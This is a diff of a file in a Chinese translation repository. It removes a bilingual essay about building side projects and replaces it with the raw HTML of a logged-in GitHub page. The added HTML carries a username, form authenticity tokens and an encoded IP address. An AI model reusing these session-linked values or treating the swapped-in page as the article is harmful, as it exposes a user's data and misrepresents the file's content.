-One trick that I find particularly motivating is making bets with friends. I tell them, if I don’t complete a task by a deadline, I’ll give them a hundred dollars. For example, I might set my task to getting twenty people to pay me within two weeks of launching a project.我自己找到的一个非常有用的保持动力的小秘诀是和朋友打赌。我对他们说，如果我在截止日期前没有完成某个任务，我就给他们一百刀。比如，我会在一个项目开始的两周内找到二十个人打赌。
 
-### 3. Solve a problem 解决一个问题
+  
 
-Start by solving a problem. If you have experienced the problem yourself, even better. Ask your friends what kind of problems they experience.解决一个问题。如果你自己也经历了这个问题那就再好不过了。问问你的朋友们他们都有哪些问题需要解决。
+      <meta name="hostname" content="github.com">
+  <meta name="user-login" content="owenlyn">
 
-For example, I built [YC Careers](http://jonathanzwhite.github.io/yc-careers/) and [AtomSpace](https://atomspace.co/) to address the needs of one my friends who was having trouble applying to jobs and interviewing as a product designer. Overnight, YC Careers made it to the top of [ProductHunt](https://www.producthunt.com/posts/yc-careers) and AtomSpace booked $100 dollars from strangers within 6 hours of going live.比如，我做了 [YC Careers](http://jonathanzwhite.github.io/yc-careers/) 和 [AtomSpace](https://atomspace.co/) 来解决一个产品设计师朋友找工作和面试的烦恼。一夜之间，YC Careers 一下子爬到了 [ProductHunt](https://www.producthunt.com/posts/yc-careers) 的榜首，AtomSpace 在上线6个小时就拿到了来自陌生人的一百美元订单。
+      <meta name="expected-hostname" content="github.com">
+    <meta name="js-proxy-site-detection-payload" content="YjgxZWVkM2U1YWY3ZGY3YjQ5YmMxMmE2MjgwNDJjMmNmM2NmMmEwNDQwZWM3YWYzZWY3N2Q3ZTA4NjkwMzJhM3x7InJlbW90ZV9hZGRyZXNzIjoiNzMuMjM3LjE4LjIyIiwicmVxdWVzdF9pZCI6IkNDRkE6NEYzOToyODZBRjc1OjNENDVCOTc6NThFODNFQUQiLCJ0aW1lc3RhbXAiOjE0OTE2MTU0MTQsImhvc3QiOiJnaXRodWIuY29tIn0=">
 
-**The bigger the pain point you’re trying to solve, the easier it will be to find users.你尝试解决多大的痛点，找用户就有多容易。**
 
-Also, analyze problem-solutions from multiple perspectives. Some successful ideas might seem like a solution without a problem. For example, Instagram doesn’t seem to solve any immediate problem. But it does. Instagram solves the need for friends to stay updated on one another. If this need is not met, then it becomes a problem. 同时，尝试从过个角度分析问题和解决方案。有些成功的点子看起来并没有解决任何问题，但其实不然。比如，Instagram 看起来没有直接解决任何问题。其实不是。Instagram 满足了朋友之间实时社交的需求。如果这个需求不能得到满足，那才是个问题。
+  <meta name="html-safe-nonce" content="b54810b74418b8727d0adbc8644992d5cf0ffe23">
 
-For further reading, [John Carmack on Idea Generation](https://amasad.me/carmack) and [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) are two great essays to get you started. 想要了解更多的话，[John Carmack on Idea Generation](https://amasad.me/carmack) 和 [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) 这两篇文章是非常好的开始。
+  <meta http-equiv="x-pjax-version" content="2fcc845e19df9d36134e232e5e95caa9">
+  
 
-### 4. Ditch the “good idea / bad idea” mindset 放弃”好主意/坏主意“的想法
+    
+  <meta name="description" content="gold-miner - 掘金翻译计划，翻译掘金上优质的英文文章">
+  <meta name="go-import" content="github.com/xitu/gold-miner git https://github.com/xitu/gold-miner.git">
 
-Once you’ve identified a problem and come up with a solution, you’ll probably ask yourself if your idea is good.当你明确了你想要解决的问题并有了一个解决方案的时候，你可能会问自己这是不是一个好的点子。
+  <meta content="10482599" name="octolytics-dimension-user_id" /><meta content="xitu" name="octolytics-dimension-user_login" /><meta content="45512989" name="octolytics-dimension-repository_id" /><meta content="xitu/gold-miner" name="octolytics-dimension-repository_nwo" /><meta content="true" name="octolytics-dimension-repository_public" /><meta content="false" name="octolytics-dimension-repository_is_fork" /><meta content="45512989" name="octolytics-dimension-repository_network_root_id" /><meta content="xitu/gold-miner" name="octolytics-dimension-repository_network_root_nwo" />
+        <link href="https://github.com/xitu/gold-miner/commits/master.atom" rel="alternate" title="Recent Commits to gold-miner:master" type="application/atom+xml">
 
-**Plenty of seemingly bad ideas have turned out to be great businesses.** For example, no one wanted to invest in Airbnb. Brian Chesky, one of the co-founders of Airbnb, detailed their rejections in his essay [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz). **相当一部分看起来很糟糕的点子最后被证明是超级棒的生意。** 比如，多年没人想投资 Airbnb。 Brian Chesky, Airbnb 的创始人之一，在他的文章 [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz) 里详细讲述了被投资人拒绝的故事。
 
-![](https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png)
+    <link rel="canonical" href="https://github.com/xitu/gold-miner/blob/master/TODO/nothing-will-change-until-you-start-building.md" data-pjax-transient>
 
-The only way to know for sure if your idea will work is to formulate a product hypothesis and run an experiment to test it. Talk to people and ask if they are interested in your solution. If you can get them to pay you before you’ve built anything, even better. 唯一验证你想法的办法就是做出一个产品来测试它。 找人聊聊，看看他们对你的解决方案是不是感兴趣。如果在你做出任何产品之前就有人原意为之付费那就再棒不过了。
 
-### 5. Ask for help寻求帮助
+  <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
 
-When working on a project, reach out to people and ask for their help. **You will be surprised at how many people are willing to pay it forward and help a complete stranger.** 当你在你的项目上埋头苦干的时候，记得寻求别人的帮助。 **你会很惊喜的发现竟然有这么多人原意去帮助一个陌生人（对，就是你）。**
+  <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
 
-Some of the best advice and feedback I have received came from reaching out to people with an email or a DM on Twitter. 我获得的最好的一部分建议就是来自于给别人发邮件或是推特（微博）私信。
+  <link rel="mask-icon" href="https://assets-cdn.github.com/pinned-octocat.svg" color="#000000">
+  <link rel="icon" type="image/x-icon" href="https://assets-cdn.github.com/favicon.ico">
 
-Also, when asking for help, be specific and prepare your questions. If you want feedback on a design, send the mockup. If you want feedback on your marketing strategy, detail what you have tried so far. Context is key. And if you don’t get a response, follow up politely. Sometimes the person you’re reaching out to might have genuinely missed your message. 在寻求帮助的时候，请提一些精确、有价值的问题。如果你需要关于设计的一些反馈，就把草稿发给别人；如果你需要营销方面的建议，就详细的列出你尝试过的方法。内容才是关键。如果别人没有回复你，请礼貌的再次询问 —— 有时候别人只是没注意到你的消息而已。
+<meta name="theme-color" content="#1e2327">
 
----
 
-Build and launch your side projects. Use this process as a way to hone your craft so that when opportunity presents itself, you’re ready to take full advantage of it. Luck always favors the prepared.开始你的兴趣项目吧。利用这个过程磨练自己，这样当机会来临的时候，你才能紧紧抓住。记住，机会总是青睐有准备的人。
+  <meta name="u2f-support" content="true">
 
-So next time you come up with an idea, act on it. Identify a problem, define your goal, stay on track, and ask for help.所以下次你有一个想法的时候，采取行动吧。找到一个问题，确定你的目标，坚持下去，别忘了学会寻求帮助。
+  </head>
 
-What are you working on right now? How can I help you? Leave me a note here or [tweet](https://twitter.com/jonathanzwhite) them to me on Twitter.你现在在做神马项目呢？有什么是我能帮到你的吗？可以在这里或者我的 [tweet](https://twitter.com/jonathanzwhite) 下面留言。
+  <body class="logged-in env-production emoji-size-boost page-blob">
+    
 
-You can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite), where I post non-sensical ramblings about design, front-end development, and virtual reality. 我在 Medium 上每周都会发文。也可以关注我的 [Twitter](https://twitter.com/JonathanZWhite)，我会发一些关于设计、前端开发和虚拟现实的杂想。
 
-*P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*（可删？）
+  <div class="position-relative js-header-wrapper ">
+    <a href="#start-of-content" tabindex="1" class="accessibility-aid js-skip-to-content">Skip to content</a>
+    <div id="js-pjax-loader-bar" class="pjax-loader-bar"><div class="progress"></div></div>
 
----
+    
+    
+    
+
+
+
+        
+<div class="header" role="banner">
+  <div class="container clearfix">
+    <a class="header-logo-invertocat" href="https://github.com/" data-hotkey="g d" aria-label="Homepage" data-ga-click="Header, go to dashboard, icon:logo">
+  <svg aria-hidden="true" class="octicon octicon-mark-github" height="32" version="1.1" viewBox="0 0 16 16" width="32"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
+</a>
+
+
+        <div class="header-search scoped-search site-scoped-search js-site-search" role="search">
+  <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/search" class="js-site-search-form" data-scoped-search-url="/xitu/gold-miner/search" data-unscoped-search-url="/search" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /></div>
+    <label class="form-control header-search-wrapper js-chromeless-input-container">
+        <a href="/xitu/gold-miner/blob/master/TODO/nothing-will-change-until-you-start-building.md" class="header-search-scope no-underline">This repository</a>
+      <input type="text"
+        class="form-control header-search-input js-site-search-focus js-site-search-field is-clearable"
+        data-hotkey="s"
+        name="q"
+        value=""
+        placeholder="Search"
+        aria-label="Search this repository"
+        data-unscoped-placeholder="Search GitHub"
+        data-scoped-placeholder="Search"
+        autocapitalize="off">
+        <input type="hidden" class="js-site-search-type-field" name="type" >
+    </label>
+</form></div>
+
+
+      <ul class="header-nav float-left" role="navigation">
+        <li class="header-nav-item">
+          <a href="/pulls" aria-label="Pull requests you created" class="js-selected-navigation-item header-nav-link" data-ga-click="Header, click, Nav menu - item:pulls context:user" data-hotkey="g p" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls">
+            Pull requests
+</a>        </li>
+        <li class="header-nav-item">
+          <a href="/issues" aria-label="Issues you created" class="js-selected-navigation-item header-nav-link" data-ga-click="Header, click, Nav menu - item:issues context:user" data-hotkey="g i" data-selected-links="/issues /issues/assigned /issues/mentioned /issues">
+            Issues
+</a>        </li>
+          <li class="header-nav-item">
+            <a class="header-nav-link" href="https://gist.github.com/" data-ga-click="Header, go to gist, text:gist">Gist</a>
+          </li>
+      </ul>
+
+    
+<ul class="header-nav user-nav float-right" id="user-links">
+  <li class="header-nav-item">
+    
+    <a href="/notifications" aria-label="You have unread notifications" class="header-nav-link notification-indicator tooltipped tooltipped-s js-socket-channel js-notification-indicator " data-channel="notification-changed:4431857" data-ga-click="Header, go to notifications, icon:unread" data-hotkey="g n">
+        <span class="mail-status unread"></span>
+        <svg aria-hidden="true" class="octicon octicon-bell float-left" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M14 12v1H0v-1l.73-.58c.77-.77.81-2.55 1.19-4.42C2.69 3.23 6 2 6 2c0-.55.45-1 1-1s1 .45 1 1c0 0 3.39 1.23 4.16 5 .38 1.88.42 3.66 1.19 4.42l.66.58H14zm-7 4c1.11 0 2-.89 2-2H5c0 1.11.89 2 2 2z"/></svg>
+</a>
+  </li>
+
+  <li class="header-nav-item dropdown js-menu-container">
+    <a class="header-nav-link tooltipped tooltipped-s js-menu-target" href="/new"
+       aria-label="Create new…"
+       data-ga-click="Header, create new, icon:add">
+      <svg aria-hidden="true" class="octicon octicon-plus float-left" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 9H7v5H5V9H0V7h5V2h2v5h5z"/></svg>
+      <span class="dropdown-caret"></span>
+    </a>
+
+    <div class="dropdown-menu-content js-menu-content">
+      <ul class="dropdown-menu dropdown-menu-sw">
+        
+<a class="dropdown-item" href="/new" data-ga-click="Header, create new repository">
+  New repository
+</a>
+
+  <a class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository">
+    Import repository
+  </a>
+
+<a class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist">
+  New gist
+</a>
+
+  <a class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization">
+    New organization
+  </a>
+
+
+
+  <div class="dropdown-divider"></div>
+  <div class="dropdown-header">
+    <span title="xitu/gold-miner">This repository</span>
+  </div>
+    <a class="dropdown-item" href="/xitu/gold-miner/issues/new" data-ga-click="Header, create new issue">
+      New issue
+    </a>
+
+      </ul>
+    </div>
+  </li>
+
+  <li class="header-nav-item dropdown js-menu-container">
+    <a class="header-nav-link name tooltipped tooltipped-sw js-menu-target" href="/owenlyn"
+       aria-label="View profile and more"
+       data-ga-click="Header, show menu, icon:avatar">
+      <img alt="@owenlyn" class="avatar" src="https://avatars0.githubusercontent.com/u/4431857?v=3&amp;s=40" height="20" width="20">
+      <span class="dropdown-caret"></span>
+    </a>
+
+    <div class="dropdown-menu-content js-menu-content">
+      <div class="dropdown-menu dropdown-menu-sw">
+        <div class="dropdown-header header-nav-current-user css-truncate">
+          Signed in as <strong class="css-truncate-target">owenlyn</strong>
+        </div>
+
+        <div class="dropdown-divider"></div>
+
+        <a class="dropdown-item" href="/owenlyn" data-ga-click="Header, go to profile, text:your profile">
+          Your profile
+        </a>
+        <a class="dropdown-item" href="/owenlyn?tab=stars" data-ga-click="Header, go to starred repos, text:your stars">
+          Your stars
+        </a>
+        <a class="dropdown-item" href="/explore" data-ga-click="Header, go to explore, text:explore">
+          Explore
+        </a>
+          <a class="dropdown-item" href="/integrations" data-ga-click="Header, go to integrations, text:integrations">
+            Integrations
+          </a>
+        <a class="dropdown-item" href="https://help.github.com" data-ga-click="Header, go to help, text:help">
+          Help
+        </a>
+
+        <div class="dropdown-divider"></div>
+
+        <a class="dropdown-item" href="/settings/profile" data-ga-click="Header, go to settings, icon:settings">
+          Settings
+        </a>
+
+        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/logout" class="logout-form" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="X+1AaR22qJUEXj13OtH+HcIm5lYs4DO1c+XIR5Q0sZ5b+eoTsqFakz+rxSqHCbVPRGww6u3Vtn4XFkJyexMubQ==" /></div>
+          <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout">
+            Sign out
+          </button>
+</form>      </div>
+    </div>
+  </li>
+</ul>
+
+
+    <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/logout" class="sr-only right-0" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="LT7mlm12Fe8ifCDG6Hru2x/blbjBkwSFJBayVVVA8aUpKkzswmHn6RmJ2JtVoqWJmZFDBACmgU5A5ThgumduVg==" /></div>
+      <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout">
+        Sign out
+      </button>
+</form>  </div>
+</div>
+
+
+      
+
+  </div>
+
+  <div id="start-of-content" class="accessibility-aid"></div>
+
+    <div id="js-flash-container">
+</div>
+
+
+
+  <div role="main">
+        <div itemscope itemtype="http://schema.org/SoftwareSourceCode">
+    <div id="js-repo-pjax-container" data-pjax-container>
+        
+
+
+
+  <div class="pagehead repohead instapaper_ignore readability-menu experiment-repo-nav">
+    <div class="container repohead-details-container">
+
+
+      <ul class="pagehead-actions">
+  <li>
+        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/notifications/subscribe" class="js-social-container" data-autosubmit="true" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="VjLdEpHk3G/Ti15uQQ7E9h7+Tf1kFfKsCdjlWX3NG5s01Fj8NYTpiOinj3O6Qw95gcjqofQGne1G6zRbpJVYbw==" /></div>      <input class="form-control" id="repository_id" name="repository_id" type="hidden" value="45512989" />
+
+        <div class="select-menu js-menu-container js-select-menu">
+          <a href="/xitu/gold-miner/subscription"
+            class="btn btn-sm btn-with-count select-menu-button js-menu-target" role="button" tabindex="0" aria-haspopup="true"
+            data-ga-click="Repository, click Watch settings, action:blob#show">
+            <span class="js-select-button">
+              <svg aria-hidden="true" class="octicon octicon-eye" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg>
+              Watch
+            </span>
+          </a>
+          <a class="social-count js-social-count"
+            href="/xitu/gold-miner/watchers"
+            aria-label="462 users are watching this repository">
+            462
+          </a>
+
+        <div class="select-menu-modal-holder">
+          <div class="select-menu-modal subscription-menu-modal js-menu-content">
+            <div class="select-menu-header js-navigation-enable" tabindex="-1">
+              <svg aria-label="Close" class="octicon octicon-x js-menu-close" height="16" role="img" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
+              <span class="select-menu-title">Notifications</span>
+            </div>
+
+              <div class="select-menu-list js-navigation-container" role="menu">
+
+                <div class="select-menu-item js-navigation-item selected" role="menuitem" tabindex="0">
+                  <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
+                  <div class="select-menu-item-text">
+                    <input checked="checked" id="do_included" name="do" type="radio" value="included" />
+                    <span class="select-menu-item-heading">Not watching</span>
+                    <span class="description">Be notified when participating or @mentioned.</span>
+                    <span class="js-select-button-text hidden-select-button-text">
+                      <svg aria-hidden="true" class="octicon octicon-eye" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg>
+                      Watch
+                    </span>
+                  </div>
+                </div>
+
+                <div class="select-menu-item js-navigation-item " role="menuitem" tabindex="0">
+                  <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
+                  <div class="select-menu-item-text">
+                    <input id="do_subscribed" name="do" type="radio" value="subscribed" />
+                    <span class="select-menu-item-heading">Watching</span>
+                    <span class="description">Be notified of all conversations.</span>
+                    <span class="js-select-button-text hidden-select-button-text">
+                      <svg aria-hidden="true" class="octicon octicon-eye" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg>
+                      Unwatch
+                    </span>
+                  </div>
+                </div>
+
+                <div class="select-menu-item js-navigation-item " role="menuitem" tabindex="0">
+                  <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
+                  <div class="select-menu-item-text">
+                    <input id="do_ignore" name="do" type="radio" value="ignore" />
+                    <span class="select-menu-item-heading">Ignoring</span>
+                    <span class="description">Never be notified.</span>
+                    <span class="js-select-button-text hidden-select-button-text">
+                      <svg aria-hidden="true" class="octicon octicon-mute" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8 2.81v10.38c0 .67-.81 1-1.28.53L3 10H1c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h2l3.72-3.72C7.19 1.81 8 2.14 8 2.81zm7.53 3.22l-1.06-1.06-1.97 1.97-1.97-1.97-1.06 1.06L11.44 8 9.47 9.97l1.06 1.06 1.97-1.97 1.97 1.97 1.06-1.06L13.56 8l1.97-1.97z"/></svg>
+                      Stop ignoring
+                    </span>
+                  </div>
+                </div>
+
+              </div>
+
+            </div>
+          </div>
+        </div>
+</form>
+  </li>
+
+  <li>
+      <div class="js-toggler-container js-social-container starring-container ">
+    <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/unstar" class="starred" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="Vbb5giV5PDKegi/FwGV1kqMnbd2hoIWaYjU7Rw+/YYfkL7b+T8B0TkBE2PRGi4Hx/86arLTvzjbB7DbUs+SJbg==" /></div>
+      <button
+        type="submit"
+        class="btn btn-sm btn-with-count js-toggler-target"
+        aria-label="Unstar this repository" title="Unstar xitu/gold-miner"
+        data-ga-click="Repository, click unstar button, action:blob#show; text:Unstar">
+        <svg aria-hidden="true" class="octicon octicon-star" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74z"/></svg>
+        Unstar
+      </button>
+        <a class="social-count js-social-count" href="/xitu/gold-miner/stargazers"
+           aria-label="6974 users starred this repository">
+          6,974
+        </a>
+</form>
+    <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/star" class="unstarred" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="U92FB2VJVGegV1HwfmmfxnvT55FLhzhRyx9MLmgaytM3pABnjQSOb7B1Op2UzI0ZwDfUkIa/HnZAq5QoJWawPg==" /></div>
+      <button
+        type="submit"
+        class="btn btn-sm btn-with-count js-toggler-target"
+        aria-label="Star this repository" title="Star xitu/gold-miner"
+        data-ga-click="Repository, click star button, action:blob#show; text:Star">
+        <svg aria-hidden="true" class="octicon octicon-star" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74z"/></svg>
+        Star
+      </button>
+        <a class="social-count js-social-count" href="/xitu/gold-miner/stargazers"
+           aria-label="6974 users starred this repository">
+          6,974
+        </a>
+</form>  </div>
+
+  </li>
+
+  <li>
+          <a href="#fork-destination-box" class="btn btn-sm btn-with-count"
+              title="Fork your own copy of xitu/gold-miner to your account"
+              aria-label="Fork your own copy of xitu/gold-miner to your account"
+              rel="facebox"
+              data-ga-click="Repository, show fork modal, action:blob#show; text:Fork">
+              <svg aria-hidden="true" class="octicon octicon-repo-forked" height="16" version="1.1" viewBox="0 0 10 16" width="10"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg>
+            Fork
+          </a>
+
+          <div id="fork-destination-box" style="display: none;">
+            <h2 class="facebox-header" data-facebox-id="facebox-header">Where should we fork this repository?</h2>
+            <include-fragment src=""
+                class="js-fork-select-fragment fork-select-fragment"
+                data-url="/xitu/gold-miner/fork?fragment=1">
+              <img alt="Loading" height="64" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-128.gif" width="64" />
+            </include-fragment>
+          </div>
+
+    <a href="/xitu/gold-miner/network" class="social-count"
+       aria-label="1335 users forked this repository">
+      1,335
+    </a>
+  </li>
+</ul>
+
+      <h1 class="public ">
+  <svg aria-hidden="true" class="octicon octicon-repo" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg>
+  <span class="author" itemprop="author"><a href="/xitu" class="url fn" rel="author">xitu</a></span><!--
+--><span class="path-divider">/</span><!--
+--><strong itemprop="name"><a href="/xitu/gold-miner" data-pjax="#js-repo-pjax-container">gold-miner</a></strong>
+
+</h1>
+
+    </div>
+    <div class="container">
+      
+<nav class="reponav js-repo-nav js-sidenav-container-pjax"
+     itemscope
+     itemtype="http://schema.org/BreadcrumbList"
+     role="navigation"
+     data-pjax="#js-repo-pjax-container">
+
+  <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
+    <a href="/xitu/gold-miner" class="js-selected-navigation-item selected reponav-item" data-hotkey="g c" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches /xitu/gold-miner" itemprop="url">
+      <svg aria-hidden="true" class="octicon octicon-code" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"/></svg>
+      <span itemprop="name">Code</span>
+      <meta itemprop="position" content="1">
+</a>  </span>
+
+    <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
+      <a href="/xitu/gold-miner/issues" class="js-selected-navigation-item reponav-item" data-hotkey="g i" data-selected-links="repo_issues repo_labels repo_milestones /xitu/gold-miner/issues" itemprop="url">
+        <svg aria-hidden="true" class="octicon octicon-issue-opened" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"/></svg>
+        <span itemprop="name">Issues</span>
+        <span class="counter">46</span>
+        <meta itemprop="position" content="2">
+</a>    </span>
+
+  <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
+    <a href="/xitu/gold-miner/pulls" class="js-selected-navigation-item reponav-item" data-hotkey="g p" data-selected-links="repo_pulls /xitu/gold-miner/pulls" itemprop="url">
+      <svg aria-hidden="true" class="octicon octicon-git-pull-request" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993 1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg>
+      <span itemprop="name">Pull requests</span>
+      <span class="counter">15</span>
+      <meta itemprop="position" content="3">
+</a>  </span>
+
+    <a href="/xitu/gold-miner/projects" class="js-selected-navigation-item reponav-item" data-selected-links="repo_projects new_repo_project repo_project /xitu/gold-miner/projects">
